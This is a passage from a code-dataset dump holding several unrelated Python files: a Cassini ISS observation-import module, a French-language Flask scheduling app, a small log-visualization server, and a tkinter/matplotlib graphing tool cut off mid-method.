None\n return (central_wl + fwhm/2) / 1000 # microns\n\n def field_obs_wavelength_wave_res1(self):\n return self._wave_res_from_full_bandwidth()\n\n def field_obs_wavelength_wave_res2(self):\n return self.field_obs_wavelength_wave_res1()\n\n def field_obs_wavelength_wave_no_res1(self):\n return self._wave_no_res_from_full_bandwidth()\n\n def field_obs_wavelength_wave_no_res2(self):\n return self.field_obs_wavelength_wave_no_res1()\n\n def field_obs_wavelength_polarization_type(self):\n the_filter = self._combined_filter()\n if the_filter.find('P') != -1:\n return self._create_mult('LINEAR')\n return self._create_mult('NONE')\n\n\n #######################################\n ### OVERRIDE FROM ObsMissionCassini ###\n #######################################\n\n def field_obs_mission_cassini_spacecraft_clock_count1(self):\n partition = self._index_col('SPACECRAFT_CLOCK_CNT_PARTITION')\n count = self._index_col('SPACECRAFT_CLOCK_START_COUNT')\n sc = str(partition) + '/' + str(count)\n sc = self._fix_cassini_sclk(sc)\n try:\n sc_cvt = opus_support.parse_cassini_sclk(sc)\n except Exception as e:\n self._log_nonrepeating_error(f'Unable to parse Cassini SCLK \"{sc}\": {e}')\n return None\n return sc_cvt\n\n def field_obs_mission_cassini_spacecraft_clock_count2(self):\n partition = self._index_col('SPACECRAFT_CLOCK_CNT_PARTITION')\n count = self._index_col('SPACECRAFT_CLOCK_STOP_COUNT')\n sc = str(partition) + '/' + str(count)\n sc = self._fix_cassini_sclk(sc)\n try:\n sc_cvt = opus_support.parse_cassini_sclk(sc)\n except Exception as e:\n self._log_nonrepeating_error(f'Unable to parse Cassini SCLK \"{sc}\": {e}')\n return None\n\n sc1 = self.field_obs_mission_cassini_spacecraft_clock_count1()\n if sc1 is not None and sc_cvt < sc1:\n self._log_nonrepeating_warning(\n f'spacecraft_clock_count1 ({sc1}) and spacecraft_clock_count2 '+\n f'({sc_cvt}) are in the wrong order - setting to count1')\n sc_cvt = sc1\n else:\n image_number = self._index_col('IMAGE_NUMBER')\n sc2_int = int(sc_cvt)\n if int(image_number) != sc2_int:\n self._log_nonrepeating_warning(\n f'spacecraft_clock_count2 ({sc_cvt}) and COISS IMAGE_NUMBER '+\n f'({image_number}) don\\'t match')\n\n return sc_cvt\n\n def field_obs_mission_cassini_ert1(self):\n return self._time_from_index(column='EARTH_RECEIVED_START_TIME')\n\n def field_obs_mission_cassini_ert2(self):\n return self._time2_from_index(self.field_obs_mission_cassini_ert1(),\n column='EARTH_RECEIVED_STOP_TIME')\n\n def field_obs_mission_cassini_mission_phase_name(self):\n mp = self._index_col('MISSION_PHASE_NAME')\n if mp.upper() == 'NULL':\n return self._create_mult(None)\n return self._create_mult(mp.replace('_', ' '))\n\n def field_obs_mission_cassini_sequence_id(self):\n return self._index_col('SEQUENCE_ID')\n\n\n ##############################################\n ### FIELD METHODS FOR obs_instrument_coiss ###\n ##############################################\n\n def field_obs_instrument_coiss_opus_id(self):\n return self.opus_id\n\n def field_obs_instrument_coiss_volume_id(self):\n return self.volume\n\n def field_obs_instrument_coiss_instrument_id(self):\n return self.instrument_id\n\n def field_obs_instrument_coiss_data_conversion_type(self):\n return self._create_mult(self._index_col('DATA_CONVERSION_TYPE'))\n\n def field_obs_instrument_coiss_compression_type(self):\n return self._create_mult(self._index_col('INST_CMPRS_TYPE'))\n\n def field_obs_instrument_coiss_gain_mode_id(self):\n return self._create_mult(self._index_col('GAIN_MODE_ID'))\n\n def field_obs_instrument_coiss_image_observation_type(self):\n obs_type = self._index_col('IMAGE_OBSERVATION_TYPE')\n\n # Sometimes they have both SCIENCE,OPNAV and OPNAV,SCIENCE so normalize\n # the order\n ret_list = []\n if obs_type.find('SCIENCE') != -1:\n ret_list.append('SCIENCE')\n if obs_type.find('OPNAV') != -1:\n ret_list.append('OPNAV')\n if obs_type.find('CALIBRATION') != -1:\n ret_list.append('CALIBRATION')\n if obs_type.find('ENGINEERING') != -1:\n ret_list.append('ENGINEERING')\n if obs_type.find('SUPPORT') != -1:\n ret_list.append('SUPPORT')\n if obs_type.find('UNK') != -1:\n ret_list.append('UNKNOWN')\n\n ret = '/'.join(ret_list)\n\n # If the result isn't the same length as what we started with, we must've\n # encountered a new type we didn't know about\n if len(ret) != len(obs_type.replace('UNK','UNKNOWN')):\n self._log_nonrepeating_error(\n f'Unknown format for COISS image_observation_type: \"{obs_type}\"')\n return self._create_mult(None)\n\n return self._create_mult(ret)\n\n def field_obs_instrument_coiss_missing_lines(self):\n return self._index_col('MISSING_LINES')\n\n def field_obs_instrument_coiss_shutter_mode_id(self):\n return self._create_mult(self._index_col('SHUTTER_MODE_ID'))\n\n def field_obs_instrument_coiss_shutter_state_id(self):\n return self._create_mult(self._index_col('SHUTTER_STATE_ID'))\n\n def field_obs_instrument_coiss_image_number(self):\n return self._index_col('IMAGE_NUMBER')\n\n def field_obs_instrument_coiss_instrument_mode_id(self):\n return self._create_mult(self._index_col('INSTRUMENT_MODE_ID'))\n\n def field_obs_instrument_coiss_target_desc(self):\n target_desc = self._index_col('TARGET_DESC').upper()\n if target_desc in COISS_TARGET_DESC_MAPPING:\n target_desc = COISS_TARGET_DESC_MAPPING[target_desc]\n return self._create_mult(target_desc)\n\n def _combined_filter(self):\n camera = self._index_col('INSTRUMENT_ID')[3]\n filter1, filter2 = self._index_col('FILTER_NAME')\n\n central_wl1, fwhm1, wl1 = self._coiss_wavelength_helper(camera, filter1, 'CL2')\n central_wl2, fwhm2, wl2 = self._coiss_wavelength_helper(camera, 'CL1', filter2)\n\n new_filter = None\n\n if filter1 == 'CL1' and filter2 == 'CL2':\n new_filter = 'CLEAR'\n elif filter1 == 'CL1':\n new_filter = filter2\n elif filter2 == 'CL2':\n new_filter = filter1\n else:\n # If one of them is a polarizer, put it second\n if filter1.find('P') != -1:\n new_filter = filter2 + '+' + filter1\n elif filter2.find('P') != -1:\n new_filter = filter1 + '+' + filter2\n else:\n if (((wl1 is None or wl2 is None or wl1 == wl2) and\n filter1 > filter2) or\n wl1 > wl2):\n # Place filters in wavelength order\n # If wavelengths are the same, make it name order\n filter1, filter2 = filter2, filter1\n new_filter = filter1 + '+' + filter2\n\n return new_filter\n\n def field_obs_instrument_coiss_combined_filter(self):\n new_filter = self._combined_filter()\n return self._create_mult_keep_case(new_filter)\n\n def field_obs_instrument_coiss_camera(self):\n camera = self._index_col('INSTRUMENT_ID')[3]\n assert camera in ('N', 'W')\n return self._create_mult(camera)\n","sub_path":"opus/import/obs_instrument_coiss.py","file_name":"obs_instrument_coiss.py","file_ext":"py","file_size_in_byte":21181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"347038965","text":"from flask import Flask, render_template, request, session, redirect, url_for, g\nfrom db import recuperer_compte, creer_compte, creer_emploi, creer_lieu, creer_groupe, recuperer_lieux, recuperer_emplois, recuperer_groupes, inserer_horaire, inserer_personne_groupe, recuperer_membre_de_groupe, recuperer_horaire_de_groupe, modifier_adresse, suppr_emploi, suppr_lieu, suppr_groupe, suppr_mb_de_groupe\nimport datetime\nfrom date import current_week, str_to_list, Horaire\nfrom werkzeug.security import check_password_hash\nimport sqlite3 as db\n\napp = Flask(__name__)\napp.secret_key = \"dev\"\n\nemplois = []\nmes_groupes = []\nmes_lieux = []\nhoraire = Horaire()\ncday = datetime.date.today()\nsemaine = current_week(cday)\n\n@app.route('/')\ndef set_session():\n session.clear()\n return redirect(url_for('accueil'))\n\n@app.route('/accueil')\ndef accueil():\n return render_template('accueil.html')\n\n@app.route('/login', methods=[\"GET\", \"POST\"])\ndef login():\n erreur = False\n if request.method == \"POST\":\n login = request.form[\"login\"]\n mdp = request.form[\"mdp\"]\n check = recuperer_compte(login)\n if check is None:\n session.clear()\n erreur = True\n elif check_password_hash(check[1],mdp):\n session.clear()\n session['userid'] = check[0]\n session[\"username\"] = login\n session[\"usernickname\"] = check[2]\n return redirect(url_for('accueil'))\n else: \n session.clear()\n erreur = True\n return render_template('login.html',erreur=erreur)\n\n@app.route('/logout')\ndef logout():\n session.clear()\n return redirect(url_for('accueil'))\n\n@app.route('/register', methods=[\"GET\", \"POST\"])\ndef register():\n if request.method == \"POST\":\n for _, value in request.form.items():\n if value == \"\":\n return redirect(url_for('register', erreur_none=True))\n login = request.form[\"login\"]\n mdp = request.form[\"mdp\"]\n mdpcheck = request.form[\"mdpcheck\"]\n pseudo = request.form[\"pseudo\"]\n if recuperer_compte(login) is not None:\n return redirect(url_for('register', erreur_id=True))\n if mdp != mdpcheck:\n return redirect(url_for('register', erreur_mdp=True))\n creer_compte(login,mdp,pseudo)\n return redirect(url_for('login'))\n if 'erreur_id' in request.args:\n return render_template('register.html',erreur_id=request.args['erreur_id'])\n elif 'erreur_mdp' in request.args:\n return render_template('register.html',erreur_mdp=request.args['erreur_mdp'])\n elif 'erreur_none' in request.args:\n return render_template('register.html',erreur_none=request.args['erreur_none'])\n else:\n return render_template('register.html')\n\n@app.route('/profil')\ndef profil():\n global emplois\n global cday \n global semaine\n emplois = recuperer_emplois(session['userid'])\n cday = datetime.date.today()\n semaine = current_week(cday)\n horaires = recuperer_horaire_de_groupe(session['userid'])\n return render_template('profil.html', infos = (emplois, horaires))\n\n@app.route('/groupes')\ndef groupes():\n global mes_groupes\n mes_groupes = recuperer_groupes(session['userid'])\n return render_template('groupes.html', groupes = mes_groupes)\n\n@app.route('/lieux')\ndef lieux():\n global mes_lieux\n mes_lieux = recuperer_lieux(session['userid'])\n return render_template('lieux.html', lieux = mes_lieux)\n\n@app.route('/supprimer_emploi/')\ndef supprimer_emploi(id_emploi):\n suppr_emploi(id_emploi)\n return redirect(url_for('profil'))\n\n@app.route('/supprimer_lieu/')\ndef supprimer_lieu(id_lieu):\n suppr_lieu(id_lieu)\n return redirect(url_for('lieux'))\n\n@app.route('/supprimer_groupe/')\ndef supprimer_groupe(id_groupe):\n suppr_groupe(id_groupe)\n return redirect(url_for('groupes'))\n\n@app.route('/supprimer_mb_g/')\ndef supprimer_mb_g(ids):\n ids = str_to_list(ids)\n id_m, id_g = ids[0], ids[1]\n suppr_mb_de_groupe(id_m, id_g)\n return redirect(url_for('groupes'))\n\n@app.route('/ajouter_emploi', methods=[\"GET\", \"POST\"])\ndef ajouter_emploi():\n if request.method == \"POST\":\n creer_emploi(request.form['nom'], session['userid'])\n return redirect(url_for('profil'))\n else:\n return render_template('ajouter_emploi.html')\n\n@app.route('/ajouter_lieu', methods=[\"GET\", \"POST\"])\ndef ajouter_lieu():\n if request.method == \"POST\":\n creer_lieu(session['userid'], request.form['nom'], request.form['adresse'])\n return redirect(url_for('lieux'))\n else:\n return render_template('ajouter_lieu.html')\n\n@app.route('/ajouter_groupe', methods=[\"GET\", \"POST\"])\ndef ajouter_groupe():\n if request.method == \"POST\":\n creer_groupe(session['userid'], request.form['nom'])\n return redirect(url_for('groupes'))\n else:\n return render_template('ajouter_groupe.html')\n\n@app.route('/modifier_emploi', methods=[\"GET\", \"POST\"])\ndef modifier_emploi():\n global cday\n global semaine\n if request.method == \"POST\":\n inserer_horaire(horaire, request.form[\"lieu\"], session['emploicourant'][0][2], request.form[\"groupe\"], request.form[\"desc\"])\n horaire.reset()\n return redirect(url_for('modifier_emploi'))\n if 'action' in request.args:\n retour = request.args[\"action\"]\n if retour == 'reset':\n horaire.reset()\n elif retour == 'next':\n cday += datetime.timedelta(days = 7)\n semaine = current_week(cday)\n elif retour == 'previous':\n cday -= datetime.timedelta(days = 7)\n semaine = current_week(cday)\n else:\n retour = str_to_list(request.args[\"action\"])\n borne_selec = datetime.datetime(semaine[retour[1]].jour.year, semaine[retour[1]].jour.month, semaine[retour[1]].jour.day, retour[0])\n horaire.set_borne(borne_selec)\n else:\n horaire.reset()\n session[\"groupes\"] = recuperer_groupes(session['userid'])\n session[\"lieux\"] = recuperer_lieux(session['userid'])\n return render_template('modifier_emploi.html', infos=(horaire, semaine, datetime.date.today()))\n\n@app.route('/modifier_groupe', methods=[\"GET\", \"POST\"])\ndef modifier_groupe():\n if request.method == \"POST\":\n membre = recuperer_compte(request.form[\"login\"])\n if membre is None:\n return redirect(url_for('modifier_groupe', erreur=True))\n inserer_personne_groupe(request.form[\"login\"],session[\"groupecourant\"][0][1])\n return redirect(url_for('modifier_groupe'))\n if 'erreur' in request.args:\n return render_template('modifier_groupe.html', erreur=request.args['erreur'])\n else:\n return render_template('modifier_groupe.html')\n\n@app.route('/modifier_lieu', methods=[\"GET\", \"POST\"])\ndef modifier_lieu():\n if request.method == \"POST\":\n modifier_adresse(session['lieucourant'][0], request.form['nouvad'])\n return redirect(url_for('lieux'))\n else:\n return render_template('modifier_lieu.html')\n\n@app.route('/select/')\ndef select(retour):\n return redirect(url_for('modifier_emploi', action=retour))\n\n@app.route('/setemploi/')\ndef setemploi(id_emploi):\n for emploi in emplois:\n if emploi[0][2] == int(id_emploi):\n session['emploicourant'] = emploi\n return redirect(url_for('modifier_emploi'))\n\n@app.route('/setgroupe/')\ndef setgroupe(id_groupe):\n for groupe in mes_groupes:\n if groupe[0][1] == int(id_groupe):\n session['groupecourant'] = groupe\n return redirect(url_for('modifier_groupe'))\n\n@app.route('/setlieu/')\ndef setlieu(id_lieu):\n for lieu in mes_lieux:\n if lieu[0] == int(id_lieu):\n session['lieucourant'] = lieu\n return redirect(url_for('modifier_lieu'))\n\n@app.route(\"/supprimer/\")\ndef supprimer(id_article):\n return redirect(url_for('accueil'))\n\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"522196676","text":"from flask import Flask, render_template, request\nimport RenderOsmMap\nfrom ParseLogs import get_logs_in_range\nimport yaml\nimport sys\nimport os\n\napp = Flask(__name__,\n static_url_path=\"\",\n static_folder=\"output\",\n template_folder=\"output\")\n\n\n@app.route('/')\ndef send_visualization_layout():\n return render_template('layout.html')\n\n\n@app.route('/logs')\ndef send_metric():\n logPath = request.args.get('logPath')\n min = request.args.get('min')\n max = request.args.get('max')\n return get_logs_in_range(logPath, min, max)\n\n\nif __name__ == \"__main__\":\n with open(sys.argv[1], 'rt', encoding='utf8') as stream:\n try:\n config = yaml.load(stream)\n directoryPath = config['logs']['directory']\n for metric in config['logs']['metrics']:\n metric[\"logName\"] = os.path.join(directoryPath, metric[\"logName\"])\n RenderOsmMap.render_visualization(config['city'], config['logs']['metrics'], config['legends'])\n except yaml.YAMLError as exc:\n print(\"The Visualization config is not in valid Yaml\")\n\n app.run(\"localhost\")\n","sub_path":"visualizer/Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"12175908","text":"import tkinter as tk\nfrom tkinter import StringVar, ttk\nimport math\nimport random\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg # NavigationToolbar2TkAgg\nfrom matplotlib.figure import Figure\nfrom matplotlib.widgets import Slider\nimport numpy\n\n\nclass Graph:\n def update_line(self, function, ax, functions_id):\n line = ax.lines[functions_id]\n print(\"UPDATING LINE: \", line)\n temp = function.calculate()\n line.set_data(temp[0], temp[1])\n print(line, functions_id)\n line.set_label(functions_id + 1)\n self.canvas.draw()\n self.ax.legend()\n\n def add_line(self, function, ax, functions_id):\n print(\"add_line FunctionBarOBJ and ID\", function, functions_id)\n self.functions_list.append(function)\n temp = function.calculate()\n print(\"Result from calculation: \", temp[1])\n\n ax.plot(temp[0], temp[1], label = str(functions_id + 1))\n self.ax = ax\n self.ax.legend()\n self.canvas.draw()\n temp2 = ax.lines[functions_id]\n function.get_line(temp2)\n\n def update_id(self):\n temp = 0\n for i in self.functions_list:\n i.id = temp\n print(i.id)\n temp += 1\n i.update_line()\n\n def delete_line(self, line, id):\n print(line, id)\n line.remove()\n self.functions_list.pop(id)\n temp = 0\n print(\"FOR LOOP STARTS\")\n for i in self.functions_list:\n i.id = temp\n print(i.id)\n temp += 1\n i.update_line()\n i.drop_down(i.degree.get())\n print(\"FOR LOOP STOPS\")\n self.canvas.draw()\n self.ax.legend()\n\n def __init__(self, f, root):\n self.canvas = FigureCanvasTkAgg(f, root)\n self.canvas.get_tk_widget().pack(side = 'right', fill = 'both', expand = True)\n self.functions_list = []\n\n\nclass FunctionBar:\n def get_line(self, line):\n self.line = line\n\n def update_line(self):\n self.window.update_line(self, self.window.ax, self.id)\n\n def calculate(self):\n # print(\"A, B, C and D: \", self.a, self.b, self.c, self.d)\n x = []\n y = []\n # print(\"inside calculate \", self.degree.get())\n if self.degree.get() == \"First degree\": # 2x - 1 a=2, b=1\n for i in range(-21, 21):\n x.append(i)\n j = self.a * i - self.b\n y.append(j)\n\n if self.degree.get() == \"Second degree\": # 2x^2 - 5x - 5\n for i in numpy.arange(-21, 21, 0.01):\n x.append(i)\n j = self.a * i * i - self.b * i - self.c\n y.append(j)\n if self.degree.get() == \"Third degree\": # 2x^3 - 5x^2 -4x - 5\n for i in numpy.arange(-21, 21, 0.01):\n x.append(i)\n j = self.a * i * i * i - self.b * i * i - self.c * i - self.d\n y.append(j)\n if self.degree.get() == \"Logarithm\": # -5 log2(5x)- 6 a=-5, b=2, c=5, d=6\n for i in numpy.arange(-1, 21, 0.0001):\n if self.b > 1 and self.c * i > 0:\n x.append(i)\n j = self.a * math.log((self.c * i), self.b) - self.d\n y.append(j)\n if self.degree.get() == \"sin(x)\": # -2 sin(3x)- 4 a=-2, b=3, c= 4\n for i in numpy.arange(-21, 21, 0.01):\n x.append(i)\n j = self.a * math.sin(self.b * i) - self.c\n y.append(j)\n if self.degree.get() == \"cos(x)\": # -2 cos(3x)- 4 a=-2, b=3, c= 4\n for i in numpy.arange(-21, 21, 0.01):\n x.append(i)\n j = self.a * math.cos(self.b * i) - self.c\n y.append(j)\n if self.degree.get() == \"tan(x)\": # -2 tan(3x)- 4 a=-2, b=3, c= 4\n tol = 30\n for i in numpy.arange(-21, 21, 0.01):\n if math.cos(self.b * i) != 0:\n x.append(i)\n j = self.a * math.tan(self.b * i) - self.c\n if j < -tol or j > tol:\n j = numpy.nan\n y.append(j)\n if self.degree.get() == \"arcsin(x)\": # -2 sin(3x)- 4 a=-2, b=3, c= 4\n for i in numpy.arange(-21, 21, 0.01):\n x.append(i)\n try:\n j = self.a * math.asin(self.b * i) - self.c\n except ValueError:\n j = numpy.nan\n y.append(j)\n if self.degree.get() == \"arccos(x)\": # -2 sin(3x)- 4 a=-2, b=3, c= 4\n for i in numpy.arange(-21, 21, 0.01):\n x.append(i)\n try:\n j = self.a * math.acos(self.b * i) - self.c\n except ValueError:\n j = numpy.nan\n y.append(j)\n if self.degree.get() == \"arctan(x)\": # -2 sin(3x)- 4 a=-2, b=3, c= 4\n for i in numpy.arange(-21, 21, 0.01):\n x.append(i)\n j = self.a * math.atan(self.b * i) - self.c\n y.append(j)\n if self.degree.get() == \"√(x)\": # -2 √(1x - 3) -6\n for i in numpy.arange(-21, 21, 0.01):\n x.append(i)\n try:\n j = self.a * math.sqrt(self.b * i - self.c) - self.d\n except ValueError:\n j = numpy.nan\n y.append(j)\n if self.degree.get() == \"x\\u207F\": # 3 x^(2x -1) -2\n for i in numpy.arange(-21, 21, 0.01):\n x.append(i)\n try:\n j = self.a * math.pow(i, self.b * i - self.c) - self.d\n except ValueError:\n j = numpy.nan\n y.append(j)\n temp = [x, y]\n return temp\n\n def drop_down(self, degree, firsttime = False):\n frame = self.function\n if degree == \"First degree\":\n self.first_degree(frame)\n elif degree == \"Second degree\":\n self.second_degree(frame)\n elif degree == \"Third degree\":\n self.third_degree(frame)\n elif degree == \"Logarithm\":\n self.log(frame)\n elif degree == \"sin(x)\":\n self.sin(frame)\n elif degree == \"cos(x)\":\n self.cos(frame)\n elif degree == \"tan(x)\":\n self.tan(frame)\n elif degree == \"arcsin(x)\":\n self.arcsin(frame)\n elif degree == \"arccos(x)\":\n self.arccos(frame)\n elif degree == \"arctan(x)\":\n self.arctan(frame)\n elif degree == \"√(x)\":\n self.sqrt(frame)\n elif degree == \"x\\u207F\":\n self.xtox(frame)\n\n if firsttime is False:\n self.update_line()\n\n def first_degree(self, frame):\n for widget in frame.winfo_children():\n widget.destroy()\n\n fx = tk.Label(frame, text = \"f\" + str(self.id + 1) + \"(x) = \", font = \"Times 12\", bg = \"white\")\n fx.grid(column = 0, row = 0)\n\n entry1 = tk.Entry(frame, width = 4, textvariable = self.a_text)\n entry1.grid(column = 1, row = 0)\n\n x1_label = tk.Label(frame, text = \"x - \", font = \"Times 10\", bg = \"white\")\n x1_label.grid(column = 2, row = 0)\n\n entry2 = tk.Entry(frame, width = 4, textvariable = self.b_text)\n entry2.grid(column = 5, row = 0)\n\n def second_degree(self, frame):\n for widget in frame.winfo_children():\n widget.destroy()\n\n fx = tk.Label(frame, text = \"f\" + str(self.id + 1) + \"(x) = \", font = \"Times 12\", bg = \"white\")\n fx.grid(column = 0, row = 0)\n\n entry1 = tk.Entry(frame, width = 4, textvariable = self.a_text)\n entry1.grid(column = 1, row = 0)\n\n x1_label = tk.Label(frame, text = \"x² - \", font = \"Times 10\", bg = \"white\")\n x1_label.grid(column = 2, row = 0)\n\n entry2 = tk.Entry(frame, width = 4, textvariable = self.b_text)\n entry2.grid(column = 3, row = 0)\n\n x2_label = tk.Label(frame, text = \"x - \", font = \"Times 10\", bg = \"white\")\n x2_label.grid(column = 4, row = 0)\n\n entry3 = tk.Entry(frame, width = 4, textvariable = self.c_text)\n entry3.grid(column = 5, row = 0)\n\n def third_degree(self, frame):\n for widget in frame.winfo_children():\n widget.destroy()\n\n fx = tk.Label(frame, text = \"f\" + str(self.id + 1) + \"(x) = \", font = \"Times 12\", bg = \"white\")\n fx.grid(column = 0, row = 0)\n\n entry1 = tk.Entry(frame, width = 4, textvariable = self.a_text)\n entry1.grid(column = 1, row = 0)\n\n x1_label = tk.Label(frame, text = \"x³ - \", font = \"Times 10\", bg = \"white\")\n x1_label.grid(column = 2, row = 0)\n\n entry2 = tk.Entry(frame, width = 4, textvariable = self.b_text)\n entry2.grid(column = 3, row = 0)\n\n x2_label = tk.Label(frame, text = \"x² - \", font = \"Times 10\", bg = \"white\")\n x2_label.grid(column = 4, row = 0)\n\n entry3 = tk.Entry(frame, width = 4, textvariable = self.c_text)\n entry3.grid(column = 5, row = 0)\n\n x3_label = tk.Label(frame, text = \"x - \", font = \"Times 10\", bg = \"white\")\n x3_label.grid(column = 6, row = 0)\n\n entry4 = tk.Entry(frame, width = 4, textvariable = self.d_text)\n entry4.grid(column = 7, row = 0)\n\n def log(self, frame):\n for widget in frame.winfo_children():\n widget.destroy()\n\n fx = tk.Label(frame, text = \"f\" + str(self.id + 1) + \"(x) = \", font = \"Times 12\", bg = \"white\")\n fx.grid(column = 0, row = 0)\n\n entry1 = tk.Entry(frame, width = 4, textvariable = self.a_text)\n entry1.grid(column = 1, row = 0)\n\n x1_label = tk.Label(frame, text = \"log\", font = \"Times 10\", bg = \"white\")\n x1_label.grid(column = 2, row = 0)\n\n entry2 = tk.Entry(frame, width = 4, textvariable = self.b_text)\n entry2.grid(column = 3, row = 0)\n\n x2_label = tk.Label(frame, text = \"(\", font = \"Times 10\", bg = \"white\")\n x2_label.grid(column = 4, row = 0)\n\n entry3 = tk.Entry(frame, width = 4, textvariable = self.c_text)\n entry3.grid(column = 5, row = 0)\n\n x3_label = tk.Label(frame, text = \"x) - \", font = \"Times 10\", bg = \"white\")\n x3_label.grid(column = 6, row = 0)\n\n entry4 = tk.Entry(frame, width = 4, textvariable = self.d_text)\n entry4.grid(column = 7, row = 0)\n\n def sin(self, frame):\n for widget in frame.winfo_children():\n widget.destroy()\n\n fx = tk.Label(frame, text = \"f\" + str(self.id + 1) + \"(x) = \", font = \"Times 12\", bg = \"white\")\n fx.grid(column = 0, row = 0)\n\n entry1 = tk.Entry(frame, width = 4, textvariable = self.a_text)\n entry1.grid(column = 1, row = 0)\n\n x1_label = tk.Label(frame, text = \"sin(\", font = \"Times 10\", bg = \"white\")\n x1_label.grid(column = 2, row = 0)\n\n entry2 = tk.Entry(frame, width = 4, textvariable = self.b_text)\n entry2.grid(column = 3, row = 0)\n\n x2_label = tk.Label(frame, text = \"x) - \", font = \"Times 10\", bg = \"white\")\n x2_label.grid(column = 4, row = 0)\n\n entry3 = tk.Entry(frame, width = 4, textvariable = self.c_text)\n entry3.grid(column = 5, row = 0)\n\n def cos(self, frame):\n for widget in frame.winfo_children():\n widget.destroy()\n\n fx = tk.Label(frame, text = \"f\" + str(self.id + 1) + \"(x) = \", font = \"Times 12\", bg = \"white\")\n fx.grid(column = 0, row = 0)\n\n entry1 = tk.Entry(frame, width = 4, textvariable = self.a_text)\n entry1.grid(column = 1, row = 0)\n\n x1_label = tk.Label(frame, text = \"cos(\", font = \"Times 10\", bg = \"white\")\n x1_label.grid(column = 2, row = 0)\n\n entry2 = tk.Entry(frame, width = 4, textvariable = self.b_text)\n entry2.grid(column = 3, row = 0)\n\n x2_label = tk.Label(frame, text = \"x) - \", font = \"Times 10\", bg = \"white\")\n x2_label.grid(column = 4, row = 0)\n\n entry3 = tk.Entry(frame, width = 4, textvariable = self.c_text)\n entry3.grid(column = 5, row = 0)\n\n def tan(self, frame):\n for widget in frame.winfo_children():\n widget.destroy()\n\n fx = tk.Label(frame, text = \"f\" + str(self.id + 1) + \"(x) = \", font = \"Times 12\", bg = \"white\")\n fx.grid(column = 0, row = 0)\n\n entry1 = tk.Entry(frame, width = 4, textvariable = self.a_text)\n entry1.grid(column = 1, row = 0)\n\n x1_label = tk.Label(frame, text = \"tan(\", font = \"Times 10\", bg = \"white\")\n x1_label.grid(column = 2, row = 0)\n\n entry2 = tk.Entry(frame, width = 4, textvariable = self.b_text)\n entry2.grid(column = 3, row = 0)\n\n x2_label = tk.Label(frame, text = \"x) - \", font = \"Times 10\", bg = \"white\")\n x2_label.grid(column = 4, row = 0)\n\n entry3 = tk.Entry(frame, width = 4, textvariable = self.c_text)\n entry3.grid(column = 5, row = 0)\n\n def arcsin(self, frame):\n for widget in frame.winfo_children():\n widget.destroy()\n\n fx = tk.Label(frame, text = \"f\" + str(self.id + 1) + \"(x) = \", font = \"Times 12\", bg = \"white\")\n fx.grid(column = 0, row = 0)\n\n entry1 = tk.Entry(frame, width = 4, textvariable = self.a_text)\n entry1.grid(column = 1, row = 0)\n\n x1_label = tk.Label(frame, text = \"arcsin(\", font = \"Times 10\", bg = \"white\")\n x1_label.grid(column = 2, row = 0)\n\n entry2 = tk.Entry(frame, width = 4, textvariable = self.b_text)\n entry2.grid(column = 3, row = 0)\n\n x2_label = tk.Label(frame, text = \"x) - \", font = \"Times 10\", bg = \"white\")\n x2_label.grid(column = 4, row = 0)\n\n entry3 = tk.Entry(frame, width = 4, textvariable = self.c_text)\n entry3.grid(column = 5, row = 0)\n\n def arccos(self, frame):\n for widget in frame.winfo_children():\n widget.destroy()\n\n fx = tk.Label(frame, text = \"f\" + str(self.id + 1) + \"(x) = \", font = \"Times 12\", bg = \"white\")\n fx.grid(column = 0, row = 0)\n\n entry1 = tk.Entry(frame, width = 4, textvariable = self.a_text)\n entry1.grid(column = 1, row = 0)\n\n x1_label = tk.Label(frame, text = \"arccos(\", font = \"Times 10\", bg = \"white\")\n x1_label.grid(column = 2, row = 0)\n\n entry2 = tk.Entry(frame, width = 4, textvariable = self.b_text)\n entry2.grid(column = 3, row = 0)\n\n x2_label = tk.Label(frame, text = \"x) - \", font = \"Times 10\", bg = \"white\")\n x2_label.grid(column = 4, row = 0)\n\n entry3 = tk.Entry(frame, width = 4, textvariable = self.c_text)\n entry3.grid(column = 5, row = 0)\n\n def arctan(self, frame):\n for widget in frame.winfo_children():\n widget.destroy()\n\n fx = tk.Label(frame, text = \"f\" + str(self.id + 1) + \"(x) = \", font = \"Times 12\", bg = \"white\")\n fx.grid(column = 0, row = 0)\n\n entry1 = tk.Entry(frame, width = 4, textvariable = self.a_text)\n entry1.grid(column = 1, row = 0)\n\n x1_label = tk.Label(frame, text = \"arctan(\", font = \"Times 10\", bg = \"white\")\n x1_label.grid(column = 2, row = 0)\n\n entry2 = tk.Entry(frame, width = 4, textvariable = self.b_text)\n entry2.grid(column = 3, row = 0)\n\n x2_label = tk.Label(frame, text = \"x) - \", font = \"Times 10\", bg = \"white\")\n x2_label.grid(column = 4, row = 0)\n\n entry3 = tk.Entry(frame, width = 4, textvariable = self.c_text)\n entry3.grid(column = 5, row = 0)\n\n def sqrt(self, frame):\n for widget in frame.winfo_children():\n widget.destroy()\n\n fx = tk.Label(frame, text = \"f\" + str(self.id + 1) + \"(x) = \", font = \"Times 12\", bg = \"white\")\n fx.grid(column = 0, row = 0)\n\n entry1 = tk.Entry(frame, width = 4, textvariable = self.a_text)\n entry1.grid(column = 1, row = 0)\n\n x1_label = tk.Label(frame, text = \"√(\", font = \"Times 10\", bg = \"white\")\n x1_label.grid(column = 2, row = 0)\n\n entry2 = tk.Entry(frame, width = 4, textvariable = self.b_text)\n entry2.grid(column = 3, row = 0)\n\n x2_label = tk.Label(frame, text = \"x - \", font = \"Times 10\", bg = \"white\")\n x2_label.grid(column = 4, row = 0)\n\n entry3 = tk.Entry(frame, width = 4, textvariable = self.c_text)\n entry3.grid(column = 5, row = 0)\n\n x3_label = tk.Label(frame, text = \") - \", font = \"Times 10\", bg = \"white\")\n x3_label.grid(column = 6, row = 0)\n\n entry4 = tk.Entry(frame, width = 4, textvariable = self.d_text)\n entry4.grid(column = 7, row = 0)\n\n def xtox(self, frame):\n for widget in frame.winfo_children():\n widget.destroy()\n\n fx = tk.Label(frame, text = \"f\" + str(self.id + 1) + \"(x) = \", font = \"Times 12\", bg = \"white\")\n fx.grid(column = 0, row = 0)\n\n entry1 = tk.Entry(frame, width = 4, textvariable = self.a_text)\n 